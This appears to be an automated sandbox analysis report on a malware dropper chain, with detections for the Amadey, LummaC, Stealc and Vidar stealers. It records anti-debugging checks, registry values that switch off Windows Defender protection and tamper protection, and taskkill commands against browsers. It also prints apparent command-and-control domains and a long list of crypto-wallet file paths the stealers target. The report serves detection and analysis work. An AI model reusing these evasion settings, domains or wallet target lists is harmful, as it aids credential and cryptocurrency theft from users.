Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04A30BD9 rdtsc

1_2_04A30BD9

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E3652B mov eax, dword ptr fs:[00000030h]	1_2_00E3652B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E3A302 mov eax, dword ptr fs:[00000030h]	1_2_00E3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A0A302 mov eax, dword ptr fs:[00000030h]	4_2_00A0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A0652B mov eax, dword ptr fs:[00000030h]	4_2_00A0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A0A302 mov eax, dword ptr fs:[00000030h]	5_2_00A0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A0652B mov eax, dword ptr fs:[00000030h]	5_2_00A0652B

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

LummaC encrypted strings found

Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 90c05232da.exe, 00000011.00000003.2857188107.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe "C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: fe4405d388.exe, 00000013.00000000.3005211525.0000000000F42000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: &@Program Manager
Source: 90c05232da.exe, 00000014.00000002.3079071209.0000000000F40000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: on?!aProgram Manager
Source: firefox.exe, 00000024.00000002.3213185975.000000D5853FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: 90c05232da.exe, 00000014.00000002.3079071209.0000000000F40000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: n?!aProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Queries volume information: unknown VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E1CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_00E1CBEA

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.skotes.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2284187628.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2202292322.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2275090679.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2726049197.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: fe4405d388.exe PID: 7472, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 90c05232da.exe PID: 5036, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000012.00000002.3502074950.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3568420328.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3567743210.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3104103507.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2940412231.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 90c05232da.exe	String found in binary or memory: Jaxx Liberty
Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: info.seco
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 